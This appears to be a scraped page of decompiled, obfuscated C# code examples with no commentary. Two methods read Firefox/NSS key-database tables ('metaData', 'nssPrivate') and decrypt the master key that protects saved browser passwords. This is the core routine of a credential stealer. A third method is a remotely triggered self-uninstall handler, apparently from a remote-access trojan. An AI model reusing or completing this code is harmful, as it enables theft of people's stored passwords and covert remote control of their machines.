Example #1
0
        // Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4
        private static byte[] smethod_9(string string_3)
        {
            byte[] array = new byte[24];
            byte[] result;
            try
            {
                if (File.Exists(string_3))
                {
                    GClass8 gclass = new GClass8(string_3);
                    gclass.method_3("metaData");
                    string   s       = gclass.method_2(0, "item1");
                    string   s2      = gclass.method_2(0, "item2)");
                    GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2));
                    byte[]   byte_   = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                    byte[]   byte_2  = gclass2.List_0[0].List_0[1].Byte_0;
                    GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                    gclass3.method_0();
                    GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None);
                    gclass.method_3("nssPrivate");
                    int    int32_ = gclass.Int32_0;
                    string s3     = string.Empty;
                    for (int i = 0; i < int32_; i++)
                    {
                        if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0))
                        {
                            s3 = gclass.method_2(i, "a11");
IL_176:
                            GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3));
                            byte_            = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                            byte_2           = gclass4.List_0[0].List_0[1].Byte_0;
                            gclass3          = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                            gclass3.method_0();
                            array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7));
                            return(array);
                        }
                    }
                    goto IL_176;
                }
                result = array;
            }
            catch (Exception)
            {
                result = array;
            }
            return(result);
        }
Example #2
0
 // Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             GClass17 gclass17_ = new GClass17(string_3);
             GClass15 gclass    = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0)));
             string   string_4  = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1));
             GClass16 gclass2   = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0));
             gclass2.method_0();
             GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None);
             GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2))));
             GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0);
             gclass4.method_0();
             GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0);
             if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24)
             {
                 array  = gclass5.List_0[0].List_0[3].Byte_0;
                 result = array;
             }
             else
             {
                 Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Example #3
0
 // Token: 0x06000078 RID: 120 RVA: 0x000060E0 File Offset: 0x000042E0
 public static void smethod_0(Client client)
 {
     if (!GClass35.bool_0)
     {
         new SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
         return;
     }
     GClass14.smethod_1();
     if (GClass35.bool_1)
     {
         GClass16.smethod_2();
     }
     try
     {
         if (!GClass4.smethod_5(GClass0.CurrentPath))
         {
             new SetStatus("Uninstallation failed: File is read-only").Execute(client);
         }
         string text = GClass4.smethod_3(GClass35.bool_0 && GClass35.bool_2);
         if (!string.IsNullOrEmpty(text))
         {
             ProcessStartInfo startInfo = new ProcessStartInfo
             {
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 CreateNoWindow  = true,
                 UseShellExecute = true,
                 FileName        = text
             };
             Process.Start(startInfo);
         }
     }
     finally
     {
         GClass0.Disconnect = true;
         client.Disconnect();
     }
 }
Example #4
0
 // Token: 0x06000133 RID: 307 RVA: 0x00007054 File Offset: 0x00005254
 public void method_0(GClass15 gclass15_1, GClass10 gclass10_0, GClass7 gclass7_1, GClass14 gclass14_1, bool bool_2, Settings settings_1)
 {
     this.bool_0     = true;
     this.settings_0 = settings_1;
     this.gclass7_0  = gclass7_1;
     this.gclass7_0.method_0();
     this.gclass7_0.Thread_0.Start(new GClass11(gclass10_0, (double)this.settings_0.WindupMultiplier, (double)this.settings_0.TotalDelayMultiplier));
     this.gclass15_0 = gclass15_1;
     this.gclass14_0 = gclass14_1;
     GClass1.smethod_0();
     this.thread_0          = new Thread(new ParameterizedThreadStart(this.method_2));
     this.thread_0.Priority = ThreadPriority.Highest;
     this.thread_0.Start(bool_2);
 }